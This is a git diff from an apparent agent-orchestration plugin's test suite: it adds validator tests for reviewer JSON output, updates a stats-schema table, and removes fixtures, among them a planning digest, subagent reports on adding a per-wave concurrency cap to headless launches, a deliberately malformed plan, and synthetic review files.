+// ---- validateReviewerOutput (raw text → extract → parse → schema) -----------
|
||||
+
|
||||
+test('validateReviewerOutput — valid raw output round-trips to valid', () => {
|
||||
+ const raw = `## Review\n\nprose here\n\n\`\`\`json\n${JSON.stringify(validPayload(), null, 2)}\n\`\`\`\n`;
|
||||
+ const r = validateReviewerOutput(raw);
|
||||
+ assert.equal(r.valid, true, JSON.stringify(r.errors));
|
||||
+});
|
||||
+
|
||||
+test('validateReviewerOutput — no json block → FINDINGS_NO_JSON_BLOCK', () => {
|
||||
+ const r = validateReviewerOutput('prose with no fenced json');
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDINGS_NO_JSON_BLOCK'));
|
||||
+});
|
||||
+
|
||||
+test('validateReviewerOutput — malformed JSON → FINDINGS_PARSE_ERROR', () => {
|
||||
+ const raw = '```json\n{"reviewer":"x","findings":[],}\n```'; // trailing comma
|
||||
+ const r = validateReviewerOutput(raw);
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDINGS_PARSE_ERROR'));
|
||||
+});
|
||||
+
|
||||
+test('validateReviewerOutput — well-formed JSON but schema-invalid surfaces schema code', () => {
|
||||
+ const bad = { reviewer: 'x', findings: [{ severity: 'BLOCKER', file: 'a.mjs', line: 1 }] }; // no rule_key
|
||||
+ const raw = `\`\`\`json\n${JSON.stringify(bad)}\n\`\`\``;
|
||||
+ const r = validateReviewerOutput(raw);
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_MISSING_RULE_KEY'),
|
||||
+ 'parse and schema validation must flow through the same result');
|
||||
+});
|
||||
8
tests/fixtures/jsonl-schemas.md
vendored
8
tests/fixtures/jsonl-schemas.md
vendored
|
|
@ -19,13 +19,13 @@
|
|||
|
||||
| schema_id | fields | writer_path | line_ref | v4.1 additive | PII |
|
||||
|-----------|--------|-------------|----------|---------------|-----|
|
||||
| trekbrief-stats | ts, task, slug, mode, interview_turns, review_iterations, brief_quality, research_topics, auto_research, auto_result, intent_approved, project_dir, order_id, order_claimed_at, order_reason | commands/trekbrief.md (orchestrator-emit Phase 7; order_* added by lib/stats/stats-append.mjs) | trekbrief.md:1141-1165 | profile, phase_models, profile_source | none |
|
||||
| trekresearch-stats | ts, question, mode, scope, engine, slug, project_dir, brief_path, dimensions, dimensions_baseline, dimensions_baseline_preserved, effort, conv_turns, empty_turns, unique_sources, agents_local, agents_external, gemini_used, confidence, contradictions, open_questions | lib/stats/stats-append.mjs (trekresearch.md Stats tracking) | trekresearch.md:829-862 | profile, phase_models, parallel_agents, external_research_enabled, profile_source | none |
|
||||
| trekplan-stats | ts, task, mode, slug, brief_path, project_dir, codebase_size, codebase_files, agents_deployed, deep_dives, research_briefs_used, research_scout_used, critic_verdict, guardian_verdict, outcome | lib/stats/stats-append.mjs (trekplan.md Phase 12) | trekplan.md:1307-1335 | profile, phase_models, parallel_agents, profile_source | none |
|
||||
| trekbrief-stats | ts, task, slug, mode, interview_turns, review_iterations, brief_quality, research_topics, auto_research, auto_result, intent_approved, project_dir, order_id, order_claimed_at, order_reason | commands/trekbrief.md (orchestrator-emit Phase 7; order_* added by lib/stats/stats-append.mjs) | trekbrief.md:1140-1164 | profile, phase_models, profile_source | none |
|
||||
| trekresearch-stats | ts, question, mode, scope, engine, slug, project_dir, brief_path, dimensions, dimensions_baseline, dimensions_baseline_preserved, effort, conv_turns, empty_turns, unique_sources, agents_local, agents_external, gemini_used, confidence, contradictions, open_questions | lib/stats/stats-append.mjs (trekresearch.md Stats tracking) | trekresearch.md:828-861 | profile, phase_models, parallel_agents, external_research_enabled, profile_source | none |
|
||||
| trekplan-stats | ts, task, mode, slug, brief_path, project_dir, codebase_size, codebase_files, agents_deployed, deep_dives, research_briefs_used, research_scout_used, critic_verdict, guardian_verdict, outcome | lib/stats/stats-append.mjs (trekplan.md Phase 12) | trekplan.md:1305-1333 | profile, phase_models, parallel_agents, profile_source | none |
|
||||
| trekexecute-stats (Phase 9 record) | ts, plan, plan_type, mode, result, steps_total, steps_passed, steps_failed, steps_skipped, failed_at_step | lib/stats/stats-append.mjs (trekexecute.md Phase 9) | trekexecute.md:3016-3038 | profile, phase_models, profile_source | none |
|
||||
| trekexecute-stats (autonomy events) | ts, event, known_event, payload | lib/stats/event-emit.mjs `emit()` | event-emit.mjs:78-99 | payload.profile, payload.phase_models, payload.profile_source | none |
|
||||
| trekexecute-stats (PostToolUse Bash) | ts, session_id, command_excerpt, duration_ms, success | hooks/scripts/post-bash-stats.mjs (Bash PostToolUse) | post-bash-stats.mjs:42-54 | none (hook is plugin-level, not profile-aware) | command_excerpt (CWE-212) |
|
||||
| trekreview-stats | ts, slug, verdict, counts (BLOCKER/MAJOR/MINOR/SUGGESTION), reviewed_files_count, mode, duration_ms | lib/stats/stats-append.mjs (trekreview.md Phase 8) | trekreview.md:760-813 | profile, phase_models, profile_source | none |
|
||||
| trekreview-stats | ts, slug, verdict, counts (BLOCKER/MAJOR/MINOR/SUGGESTION), reviewed_files_count, mode, duration_ms | lib/stats/stats-append.mjs (trekreview.md Phase 8) | trekreview.md:682-735 | profile, phase_models, profile_source | none |
|
||||
| trekcontinue-stats | ts, project, next_session_label, status | lib/stats/stats-append.mjs (trekcontinue.md Phase 5) | trekcontinue.md:304-308 | profile, profile_source | none |
|
||||
| token-usage | ts, session_id, scope, model, tokens_input, tokens_output, tokens_cache_creation, tokens_cache_read, cost_usd, is_estimate, price_table_version | lib/stats/token-usage.mjs `captureTokenUsage` (via hooks/scripts/otel-export.mjs Stop hook, opt-in `VOYAGE_TOKEN_METER`) | token-usage.mjs:buildRecord | n/a (SKAL-2 schema) | session_id (stripped at export) |
|
||||
|
||||
|
|
|
|||
25
tests/fixtures/plan-fase-narrative.md
vendored
25
tests/fixtures/plan-fase-narrative.md
vendored
|
|
@ -1,25 +0,0 @@
|
|||
# Bad plan — narrative drift fixture
|
||||
|
||||
plan_version: 1.7
|
||||
|
||||
This fixture exists ONLY to verify that `plan-validator --strict`
|
||||
rejects Opus 4.7-style narrative drift (Fase / Phase / Stage / Steg
|
||||
headings instead of `### Step N:`). It MUST FAIL strict validation.
|
||||
|
||||
## Context
|
||||
|
||||
This is what an LLM might produce when it ignores the literal-step
|
||||
schema and falls back to narrative phasing. The validator should
|
||||
catch this and refuse.
|
||||
|
||||
### Fase 1: Forberedelse
|
||||
|
||||
Vi må først forstå koden. Les filene under src/.
|
||||
|
||||
### Fase 2: Implementering
|
||||
|
||||
Skriv ny kode i nye filer.
|
||||
|
||||
### Fase 3: Verifisering
|
||||
|
||||
Kjør testene og fiks eventuelle feil.
|
||||
29
tests/fixtures/synthesis/digest.json
vendored
29
tests/fixtures/synthesis/digest.json
vendored
|
|
@ -1,29 +0,0 @@
|
|||
{
|
||||
"agent": "synthesis-agent",
|
||||
"task": "Add a per-wave concurrency cap to trekexecute headless launches",
|
||||
"architecture_model": "trekexecute's headless path (Phase 2.6) turns each independent wave from session-decomposer's dependency graph into a launch batch, and templates/headless-launch-template.md backgrounds every batch member as a parallel `claude -p` subprocess with no slot limit — degree of parallelism equals batch size. The fix straddles a JS/Bash boundary: a pure, testable max-parallel resolver in lib/ (reusing the arg-parser + profile-resolver lookup order) feeds one validated integer into the template's fan-out, which should consume it via `xargs -P` rather than a hand-rolled Bash semaphore.",
|
||||
"reusable_code": [
|
||||
{ "ref": "lib/parsers/arg-parser.mjs", "note": "parse --max-parallel <n>; do not hand-roll" },
|
||||
{ "ref": "lib/profiles/profile-resolver.mjs", "note": "lookup order flag→signal→profile→default for the cap" },
|
||||
{ "ref": "lib/util/result.mjs:33", "note": "issue() error shape for invalid cap values" },
|
||||
{ "ref": "templates/headless-launch-template.md:10", "note": "the fan-out wire-in site" }
|
||||
],
|
||||
"contradictions": [
|
||||
"architecture-mapper frames the cap as launch-time Bash-only; task-finder + convention-scanner argue the arithmetic must live in a pure lib resolver — reconciled: resolver computes, template consumes one integer"
|
||||
],
|
||||
"risks": [
|
||||
{ "risk": "Too-low cap serializes independent waves, erasing the parallelism trekexecute exists for", "severity": "high" },
|
||||
{ "risk": "Hand-rolled Bash semaphore can deadlock `wait` on subprocess crash — prefer xargs -P", "severity": "high" },
|
||||
{ "risk": "Cap of 0/negative could stall the pipeline; clamp to >=1 with a stable error code", "severity": "medium" }
|
||||
],
|
||||
"gaps": [
|
||||
"No measured per-wave token/process ceiling exists — the safe default (cap = batch size, i.e. no-op) is an assumption until profiled",
|
||||
"Whether xargs -P is available/identical across the operator's macOS + any headless CI is unverified"
|
||||
],
|
||||
"sources": [
|
||||
{ "finding": "launcher backgrounds all members then waits, no slot limit", "origin": "codebase" },
|
||||
{ "finding": "project already serializes spawns in q3 harness to dodge spawn-burst limits", "origin": "codebase" },
|
||||
{ "finding": "profile system (v4.1) is the canonical knob lookup order", "origin": "codebase" },
|
||||
{ "finding": "xargs -P release-on-exit semantics vs hand-rolled semaphore", "origin": "research" }
|
||||
]
|
||||
}
|
||||
|
|
@ -1,96 +0,0 @@
|
|||
# Architecture Report — output of architecture-mapper
|
||||
|
||||
Task being planned: Add a per-wave concurrency cap to trekexecute headless launches.
|
||||
|
||||
## Summary
|
||||
|
||||
Voyage is a contract-driven Claude Code plugin (Node ESM, zero runtime deps).
|
||||
The pipeline is six commands (`commands/*.md`) backed by a `lib/` of pure,
|
||||
unit-tested validators/parsers and a thin `scripts/` layer of measurement and
|
||||
codegen harnesses. trekexecute is the disciplined plan/session-spec executor;
|
||||
its headless path (Phase 2.6) fans out parallel "waves" of `claude -p`
|
||||
subprocesses driven by a Bash launcher template.
|
||||
|
||||
## Tech stack
|
||||
|
||||
| Layer | Choice | Evidence |
|
||||
|-------|--------|----------|
|
||||
| Language | JavaScript (ESM, `.mjs`) | `lib/**/*.mjs`, `"type":"module"` in package.json |
|
||||
| Tests | `node:test` + `node:assert/strict` | every `tests/**/*.test.mjs` |
|
||||
| Validation | hand-rolled validators returning `{valid,errors,warnings}` | `lib/util/result.mjs` |
|
||||
| Orchestration substrate | command prose + Bash + Agent/Task tool | `commands/trekexecute.md` |
|
||||
| Headless launch | Bash here-doc template, backgrounded subprocesses | `templates/headless-launch-template.md` |
|
||||
|
||||
## Key patterns
|
||||
|
||||
- **3-layer module pattern** — Content validator → raw-text wrapper → CLI shim
|
||||
(`if (import.meta.url === \`file://${process.argv[1]}\`)`), repeated across
|
||||
`lib/validators`, `lib/parsers`, `lib/review`. Any new lib must follow it.
|
||||
- **Structured Result type** — `issue(code,message,hint,location)` + `fail()` /
|
||||
`ok()` from `lib/util/result.mjs`. Stable error codes are the contract.
|
||||
- **Prose-as-orchestrator** — commands carry the control flow in markdown; the
|
||||
harness executes it. Schema-drift defenses are *inlined* into command prose so
|
||||
they survive even when agent docs are not implicitly loaded.
|
||||
|
||||
## Anti-patterns / debt near the task
|
||||
|
||||
- The headless launcher backgrounds **all** wave members at once with no upper
|
||||
bound on concurrent `claude -p` processes; concurrency is implicit in how many
|
||||
steps a wave contains. No central place caps it.
|
||||
- Wave composition (which steps go in which wave) is computed by
|
||||
session-decomposer, but the *launch* fan-out is template Bash, so a cap would
|
||||
straddle a JS (decomposer) / Bash (launcher) boundary.
|
||||
|
||||
## Module map (task-relevant)
|
||||
|
||||
```
|
||||
commands/trekexecute.md # Phase 2.6 parallel-wave orchestration prose
|
||||
templates/headless-launch-template.md # the Bash fan-out site
|
||||
lib/util/result.mjs # error shape any new guard returns
|
||||
agents/session-decomposer.md # produces the wave/dependency graph
|
||||
```
|
||||
|
||||
## Boundaries
|
||||
|
||||
The cap is a launch-time concern (Bash template + the Phase 2.6 prose that
|
||||
generates it). It does not belong in the pure `lib/` validators unless we add a
|
||||
small "max parallelism" resolver that the prose reads. Recommend a lib resolver
|
||||
(testable) + a template wire-in (the actual `xargs -P` / job-slot mechanism).
|
||||
|
||||
## How Phase 2.6 assembles a wave (detail)
|
||||
|
||||
The executor reads the plan's `## Step N` blocks and the dependency edges
|
||||
session-decomposer emitted (`depends_on:` frontmatter). Steps with no unmet
|
||||
dependency at the current frontier form a wave. For each wave the prose:
|
||||
|
||||
1. builds a `SHARED_CONTEXT_FILE` (brief + plan + relevant exploration digest)
|
||||
passed to every member via `--append-system-prompt-file` (cache-prefix
|
||||
material — see q3 experiment);
|
||||
2. emits one `claude -p … &` invocation per member from the here-doc, each with
|
||||
`--max-turns`, `--max-budget-usd`, `GIT_OPTIONAL_LOCKS=0`, and the GH#36071
|
||||
push-before-cleanup workaround;
|
||||
3. collects the backgrounded PIDs and `wait`s for the batch to drain before
|
||||
advancing the frontier.
|
||||
|
||||
The cap belongs strictly between (2) and (3): bound how many of the emitted
|
||||
members run concurrently, leaving wave *composition* (1) untouched.
|
||||
|
||||
## Layering verdict
|
||||
|
||||
Three layers, in increasing blast radius: (a) a pure resolver in `lib/`
|
||||
(arithmetic only — trivially testable, follows the 3-layer module pattern);
|
||||
(b) Phase 2.6 prose passing the resolved integer + a `--max-parallel` flag into
|
||||
the template; (c) the template's fan-out mechanism. Keep (a) the single source
|
||||
of the number; (c) should only consume it. This matches every prior launcher
|
||||
hardening, which added one bounded externality (budget, locks, turns) at a time
|
||||
without reshaping wave composition.
|
||||
|
||||
## Cross-cutting observations
|
||||
|
||||
- The launcher is the most operationally sensitive file in the repo (it spends
|
||||
money and mutates git). Every edit here is co-reviewed with its
|
||||
doc-consistency needle list — treat the needle test as part of the contract,
|
||||
not an afterthought.
|
||||
- Nothing in `lib/` currently imports anything launcher-related; the resolver
|
||||
will be a leaf module. Good — it can be tested and shipped independently of the
|
||||
template wire-in, enabling a TDD-first slice.
|
||||
|
|
@ -1,42 +0,0 @@
|
|||
# Conventions Report — output of convention-scanner
|
||||
|
||||
Task: Add a per-wave concurrency cap to trekexecute headless launches.
|
||||
|
||||
## Summary
|
||||
|
||||
Mature, consistent conventions. New code should imitate the existing `lib/`
|
||||
validators almost mechanically.
|
||||
|
||||
## Naming
|
||||
|
||||
| Element | Convention | Example |
|
||||
|---------|-----------|---------|
|
||||
| Files | kebab-case `.mjs` | `lib/profiles/profile-resolver.mjs` |
|
||||
| Functions | camelCase, verb-first | `validateFindings`, `extractDigestBlock` |
|
||||
| Error codes | UPPER_SNAKE, domain-prefixed | `FINDING_BAD_LINE`, `DIGEST_NOT_OBJECT` |
|
||||
| Tests | `<module>.test.mjs` mirroring `lib/` tree | `tests/lib/profile-resolver.test.mjs` |
|
||||
|
||||
## Module shape (must follow)
|
||||
|
||||
Every `lib/` module is the **3-layer pattern**:
|
||||
1. exported pure functions (validate/resolve/compute);
|
||||
2. they return `{valid, errors, warnings, parsed}` via `lib/util/result.mjs`
|
||||
`issue()`/`fail()`/`ok()`;
|
||||
3. a CLI shim `if (import.meta.url === \`file://${process.argv[1]}\`)` for Bash.
|
||||
|
||||
A `max-parallel-resolver.mjs` must replicate this exactly (pure resolver +
|
||||
`issue()` errors + CLI shim).
|
||||
|
||||
## Error handling
|
||||
|
||||
- Never coerce bad input — return a `{valid:false}` Result with a stable code and
|
||||
a `hint`. Throwing is reserved for genuine programmer error (see
|
||||
`mainContextTokens` "unknown arm" throw).
|
||||
- Unknown/extra fields are tolerated (forward-compat), load-bearing fields are
|
||||
hard errors. Mirror this: clamp/validate the cap, tolerate extra profile keys.
|
||||
|
||||
## Imports / tests / commits
|
||||
|
||||
- Named ESM imports, relative paths, no path aliases, no barrels.
|
||||
- Conventional Commits, `type(scope): description`, e.g. `feat(voyage): …`.
|
||||
- New behavior is TDD'd: failing `node:test` first, then minimal code.
|
||||
|
|
@ -1,76 +0,0 @@
|
|||
# Dependency & Data-Flow Report — output of dependency-tracer
|
||||
|
||||
Task: Add a per-wave concurrency cap to trekexecute headless launches.
|
||||
|
||||
## Import / call chain relevant to the task
|
||||
|
||||
```
|
||||
commands/trekexecute.md (Phase 2.6 prose)
|
||||
└─ generates → templates/headless-launch-template.md (Bash here-doc)
|
||||
├─ reads SHARED_CONTEXT_FILE (append-system-prompt-file)
|
||||
├─ spawns claude -p ×N (one per wave member, backgrounded with &)
|
||||
└─ waits via `wait` on collected PIDs
|
||||
└─ consumes → .session-state.local.json (Handover 7; session graph)
|
||||
```
|
||||
|
||||
## Data flow
|
||||
|
||||
1. session-decomposer emits a plan with wave groupings + a dependency graph.
|
||||
2. trekexecute Phase 2.6 turns each independent wave into a launch batch.
|
||||
3. The template loops over batch members and backgrounds each `claude -p`,
|
||||
collecting PIDs into a Bash array, then `wait`s for the whole batch.
|
||||
4. There is **no slot-limiting** between "background member" and "wait" — the
|
||||
degree of parallelism equals the batch size.
|
||||
|
||||
## Side effects
|
||||
|
||||
- Each subprocess does `git` work under `GIT_OPTIONAL_LOCKS=0`; high concurrency
|
||||
raises the chance of index-lock contention (mitigated, not eliminated).
|
||||
- `--max-budget-usd` is per-subprocess; total spend scales with batch size, so a
|
||||
concurrency cap also indirectly bounds burst spend.
|
||||
|
||||
## What a cap touches
|
||||
|
||||
- **Pure-addable:** a `maxParallel` resolver in `lib/` (reads plan/profile/flag,
|
||||
returns an integer ≥ 1). No existing module imports would change.
|
||||
- **Wire-in:** the template's loop must consume slots (e.g. a counting semaphore
|
||||
in Bash, or `xargs -P <n>`). This is the only behavioral edit.
|
||||
|
||||
## No hidden dependents
|
||||
|
||||
Grepped for other call sites of the launch template — only trekexecute Phase 2.6
|
||||
and the headless-launch-template test reference it. A cap is local in blast
|
||||
radius.
|
||||
|
||||
## Resolver input provenance (what the cap reads)
|
||||
|
||||
The resolved integer must be derived from, in lookup order:
|
||||
|
||||
1. **CLI flag** `--max-parallel <n>` — parsed by `lib/parsers/arg-parser.mjs`;
|
||||
highest precedence (operator override).
|
||||
2. **Brief signal** — `phase_signals` already carries per-phase orchestration
|
||||
shape; a `max_parallel` hint here is honoured if no flag.
|
||||
3. **Profile** — `lib/profiles/` resolves `--profile economy|balanced|premium`;
|
||||
each profile can carry a `max_parallel` default. This is the same lookup
|
||||
order `phase_models` uses, so the resolver should *reuse* profile-resolver,
|
||||
not re-implement precedence.
|
||||
4. **Hard default** — `batchSize` (i.e. no cap / current behavior), so the change
|
||||
is a strict no-op until someone opts in.
|
||||
|
||||
## Downstream of the cap
|
||||
|
||||
- **Budget:** total burst spend = `min(cap, batchSize) × per-member --max-budget-usd`.
|
||||
A cap therefore tightens the worst-case spend envelope — worth noting in the
|
||||
plan's risk/observability section.
|
||||
- **Git contention:** fewer concurrent `git`-touching subprocesses → fewer
|
||||
`index.lock` races. `GIT_OPTIONAL_LOCKS=0` reduces lock acquisition but does
|
||||
not serialize ref updates; the cap is the structural mitigation.
|
||||
- **Classifier exposure:** a smaller concurrent fan-out under `auto`/`bypass`
|
||||
lowers the surface the proliferation classifier (S7 F4) scrutinises.
|
||||
|
||||
## Data-flow invariant to preserve
|
||||
|
||||
`SHARED_CONTEXT_FILE` is built once per wave and read by every member; the cap
|
||||
must not cause it to be rebuilt per-slot (would defeat the cache prefix). Slot
|
||||
limiting happens at spawn time only; the context file is wave-scoped, not
|
||||
slot-scoped.
|
||||
|
|
@ -1,31 +0,0 @@
|
|||
# Git History — output of git-historian
|
||||
|
||||
Task: Add a per-wave concurrency cap to trekexecute headless launches.
|
||||
|
||||
## Recent changes touching the launch path
|
||||
|
||||
| Commit (illustrative) | Area | Relevance |
|
||||
|-----------------------|------|-----------|
|
||||
| Phase 2.6 hardening series | trekexecute.md + headless-launch-template.md | Added `GIT_OPTIONAL_LOCKS`, `--max-budget-usd`, push-before-cleanup, GH#36071 workaround. The launcher is actively maintained and recently hardened — a cap is the next natural hardening. |
|
||||
| session-decomposer wiring | agents/session-decomposer.md | Established the wave/dependency graph the launcher consumes. Stable; not the edit site. |
|
||||
| profile system (v4.1) | lib/profiles/ | Introduced `phase_models` + `--profile`; the lookup order a `max_parallel` knob should reuse. |
|
||||
|
||||
## Ownership / hot files
|
||||
|
||||
- `templates/headless-launch-template.md` is a **hot file** — multiple recent
|
||||
hardening commits. Expect a strict doc-consistency needle list; any edit must
|
||||
keep all existing needles AND add the new one.
|
||||
- `commands/trekexecute.md` Phase 2.6 is co-edited with the template in every
|
||||
hardening commit ("template mirrors Phase 2.6"). Keep them in lockstep.
|
||||
|
||||
## Active branches / risk of conflict
|
||||
|
||||
Single active branch (`main`); polyrepo, frequent small commits. Low conflict
|
||||
risk. The kjøremodus is one-task-per-session, so this change should be a single
|
||||
focused commit touching resolver + template + prose + tests.
|
||||
|
||||
## Signal
|
||||
|
||||
The project's own history shows a consistent preference: bound risky externalities
|
||||
explicitly (budget, locks, turns). An unbounded fan-out is the conspicuous gap in
|
||||
that pattern — the change is in-character with how this launcher has evolved.
|
||||
|
|
@ -1,25 +0,0 @@
|
|||
# Risk & Failure-Mode Report — output of risk-assessor
|
||||
|
||||
Task: Add a per-wave concurrency cap to trekexecute headless launches.
|
||||
|
||||
## Risks (ranked)
|
||||
|
||||
| # | Risk | Severity | Mitigation |
|
||||
|---|------|----------|------------|
|
||||
| R1 | A cap that is too low **serializes** independent waves, erasing the parallelism trekexecute exists to provide. | high | Default the cap to the batch size (no-op) and only clamp when the operator/profile asks; never silently throttle. |
|
||||
| R2 | Bash semaphore bugs **deadlock** the `wait` (slots never released on subprocess crash). | high | Prefer `xargs -P <n>` over a hand-rolled counting semaphore — release-on-exit is built in. Guard with a per-subprocess `--max-turns`/timeout already present. |
|
||||
| R3 | The cap interacts with the **proliferation classifier** (S7 F4): a large parallel fan-out under `auto`/`bypass` is already scrutinised. A cap *reduces* this exposure, but mis-set to 0/negative could stall the pipeline. | medium | Clamp to `≥ 1`; reject `0`/negatives with a stable error code (`issue()`), do not coerce. |
|
||||
| R4 | Index-lock contention under high concurrency (multiple `git` subprocesses) is *masked* today by luck; raising the cap re-exposes it. | medium | Document that `GIT_OPTIONAL_LOCKS=0` is necessary-not-sufficient; the cap is the real fix. |
|
||||
| R5 | Drift between the JS resolver default and the Bash template's actual `-P` value. | low | Single source: prose passes the resolved integer into the template; a test asserts the template consumes `$MAX_PARALLEL`. |
|
||||
|
||||
## Edge cases
|
||||
|
||||
- Wave of size 1 → cap is irrelevant (no fan-out).
|
||||
- Cap ≥ batch size → must be a pure no-op (R1).
|
||||
- Non-integer / missing flag → fall through resolver to profile default, not crash.
|
||||
|
||||
## Complexity hotspots
|
||||
|
||||
The straddle between JS (resolver, testable) and Bash (launcher, hard to unit
|
||||
test) is the main hazard. Keep ALL arithmetic in the resolver; the template
|
||||
should only consume one already-validated integer.
|
||||
|
|
@ -1,36 +0,0 @@
|
|||
# Task-Relevant Code — output of task-finder
|
||||
|
||||
Task: Add a per-wave concurrency cap to trekexecute headless launches.
|
||||
|
||||
## Direct hits
|
||||
|
||||
| File | Lines | Why relevant |
|
||||
|------|-------|--------------|
|
||||
| `templates/headless-launch-template.md` | ~10–60 | The Bash fan-out: backgrounds each wave member, `wait`s on PIDs. Edit site for slot-limiting. |
|
||||
| `commands/trekexecute.md` | Phase 2.6 | Prose that generates the launch batches; where a `--max-parallel` flag + profile lookup would be documented. |
|
||||
| `lib/profiles/` | resolver dir | Profiles already carry per-phase knobs; a `max_parallel` default fits the existing `phase_signals`/profile lookup order. |
|
||||
| `lib/util/result.mjs` | 33 | `issue()` — the error shape a `maxParallel` resolver returns on bad input. |
|
||||
|
||||
## Reuse candidates
|
||||
|
||||
- **arg-parser** (`lib/parsers/arg-parser.mjs`, per tests/lib/arg-parser.test.mjs)
|
||||
already parses `--flag value` pairs for the commands. A `--max-parallel <n>`
|
||||
flag plugs into the existing parser; do not hand-roll parsing.
|
||||
- **profile-resolver** (`lib/profiles/`, profile-resolver.test.mjs) is the lookup
|
||||
order CLI-flag → brief signal → profile → default. A concurrency default
|
||||
belongs as a profile field consumed through this same resolver.
|
||||
- **autonomy-gate** (`lib/` autonomy-gate.test.mjs) shows the established pattern
|
||||
for "bounded integer with a safe default" — mirror its clamp/validate.
|
||||
|
||||
## Existing similar solutions
|
||||
|
||||
`scripts/q3-cache-prefix-experiment.mjs` spawns children **sequentially** to
|
||||
avoid spawn-burst rate-limits — confirms the project already knows unbounded
|
||||
fan-out is a risk and chose a manual bound there. A cap generalises that
|
||||
instinct to the headless wave path.
|
||||
|
||||
## Models / config
|
||||
|
||||
No DB. Config lives in `settings.json` (`trekplan`/`trekresearch` scopes only —
|
||||
doc-consistency pins this) and per-run profiles. A `max_parallel` knob should
|
||||
ride the profile system, not add a new settings.json scope.
|
||||
|
|
@ -1,38 +0,0 @@
|
|||
# Test Strategy — output of test-strategist
|
||||
|
||||
Task: Add a per-wave concurrency cap to trekexecute headless launches.
|
||||
|
||||
## Existing patterns
|
||||
|
||||
- Framework: `node:test` + `node:assert/strict`. One file per module under
|
||||
`tests/lib/` (mirrors `lib/`) and `tests/scripts/` for harness cores.
|
||||
- Validators are tested as **pure functions**: feed a payload, assert
|
||||
`{valid,errors}` + stable error codes (see findings-schema.test.mjs,
|
||||
autonomy-gate.test.mjs).
|
||||
- Template/prose invariants are pinned by **doc-consistency.test.mjs** (string
|
||||
`assert.ok(text.includes(...))` against templates/commands).
|
||||
|
||||
## Coverage gaps for this task
|
||||
|
||||
1. No test asserts an upper bound on launch parallelism today (there is none).
|
||||
2. headless-launch-template.md is pinned for a list of required needles
|
||||
(`GIT_OPTIONAL_LOCKS`, `--max-turns`, `--max-budget-usd`, …) but NOT for any
|
||||
concurrency mechanism.
|
||||
|
||||
## Recommended tests (TDD order)
|
||||
|
||||
1. **`lib/.../max-parallel-resolver.test.mjs`** (new) — pure resolver:
|
||||
- flag `--max-parallel 3` wins over profile/default;
|
||||
- missing flag → profile default → hard default;
|
||||
- `0` / negative / non-integer → `{valid:false}` with a stable code;
|
||||
- cap ≥ batchSize → returns batchSize (no-op clamp).
|
||||
2. **doc-consistency extension** — assert headless-launch-template.md consumes
|
||||
the resolved integer (e.g. includes `$MAX_PARALLEL` or `xargs -P`).
|
||||
3. **arg-parser** — assert `--max-parallel` is recognised (extend
|
||||
arg-parser.test.mjs / gates-flag-coverage pattern).
|
||||
|
||||
## Notes
|
||||
|
||||
The Bash fan-out itself is not unit-testable in `node:test`; rely on the
|
||||
template-needle pin (#2) + keeping arithmetic in the JS resolver (#1). This
|
||||
matches how the project already tests prose-driven behavior.
|
||||
47
tests/fixtures/trekreview/README.md
vendored
47
tests/fixtures/trekreview/README.md
vendored
|
|
@ -1,47 +0,0 @@
|
|||
# trekreview determinism fixtures
|
||||
|
||||
Synthetic fixtures for the Jaccard-similarity determinism test in
|
||||
`tests/lib/review-determinism.test.mjs`.
|
||||
|
||||
## What's here
|
||||
|
||||
- `review-run-A.md` — synthetic review with 5 findings on a fictional JWT auth task
|
||||
- `review-run-B.md` — same fictional task, "re-reviewed" — same 5 findings as A plus 1 extra (a placeholder TODO that A missed)
|
||||
|
||||
## Construction
|
||||
|
||||
Run A's finding-IDs are a strict subset of Run B's (`A ⊂ B`), so:
|
||||
|
||||
- Intersection: `|A ∩ B| = 5`
|
||||
- Union: `|A ∪ B| = 6`
|
||||
- Jaccard: `5 / 6 = 0.833…` (above the 0.70 SC4 threshold from `brief.md`)
|
||||
|
||||
Each ID is a real 40-char SHA1 computed via `lib/parsers/finding-id.mjs`:
|
||||
`sha1(file:line:rule_key)`. Don't hand-edit the IDs — recompute via the helper if
|
||||
you change the underlying `(file, line, rule_key)` triplet, or both fixtures will
|
||||
fall out of sync.
|
||||
|
||||
## Why synthetic for v1.0
|
||||
|
||||
Hand-curated for v1.0. Edit JSON IDs directly to test new Jaccard scenarios.
|
||||
Real-LLM determinism measurement is deferred to v1.1 once `/trekreview`
|
||||
has produced enough real outputs to capture as fixtures.
|
||||
|
||||
These fixtures prove the Jaccard PIPELINE works given a known input — they do
|
||||
NOT measure real LLM determinism. The brief's SC4 (Jaccard ≥ 0.70 across two
|
||||
runs) is verified at the pipeline level today; capturing real LLM runs to
|
||||
verify the model-level claim is open work for v1.1.
|
||||
|
||||
## Adding a new scenario
|
||||
|
||||
1. Pick `(file, line, rule_key)` triplets — `rule_key` must be one of the 12
|
||||
keys in `lib/review/rule-catalogue.mjs`.
|
||||
2. Compute IDs via:
|
||||
```bash
|
||||
node -e "import('./lib/parsers/finding-id.mjs').then(({computeFindingId}) => console.log(computeFindingId('lib/foo.mjs', 42, 'SECURITY_INJECTION')))"
|
||||
```
|
||||
3. Add the IDs to `findings:` block-style YAML in frontmatter and to `### <id>`
|
||||
subsections in the body.
|
||||
4. Run `node lib/validators/review-validator.mjs --json tests/fixtures/trekreview/review-run-X.md`
|
||||
to confirm the fixture validates.
|
||||
5. Update `tests/lib/review-determinism.test.mjs` if you want a new assertion.
|
||||
106
tests/fixtures/trekreview/review-run-A.md
vendored
106
tests/fixtures/trekreview/review-run-A.md
vendored
|
|
@ -1,106 +0,0 @@
|
|||
---
|
||||
type: trekreview
|
||||
review_version: "1.0"
|
||||
created: 2026-05-01
|
||||
task: "Add JWT authentication with refresh-token rotation"
|
||||
slug: jwt-auth
|
||||
project_dir: .claude/projects/2026-05-01-jwt-auth/
|
||||
brief_path: .claude/projects/2026-05-01-jwt-auth/brief.md
|
||||
scope_sha_start: 0123456789abcdef0123456789abcdef01234567
|
||||
scope_sha_end: fedcba9876543210fedcba9876543210fedcba98
|
||||
reviewed_files_count: 3
|
||||
verdict: BLOCK
|
||||
findings:
|
||||
- d2d0e27875ae9ef0d818cb08bb6f14e6d33c4232
|
||||
- 7861519c326c207aabf17072db51c469bebc217b
|
||||
- 400dfcff81e0e219eb04a7123c68ae870696f121
|
||||
- 763d174e6c519fafbadcba5d1706708479e36e61
|
||||
- 7a3d7d0a668f6431ef3877ceeb106023b0f6295e
|
||||
---
|
||||
|
||||
# Review: Add JWT authentication with refresh-token rotation (Run A)
|
||||
|
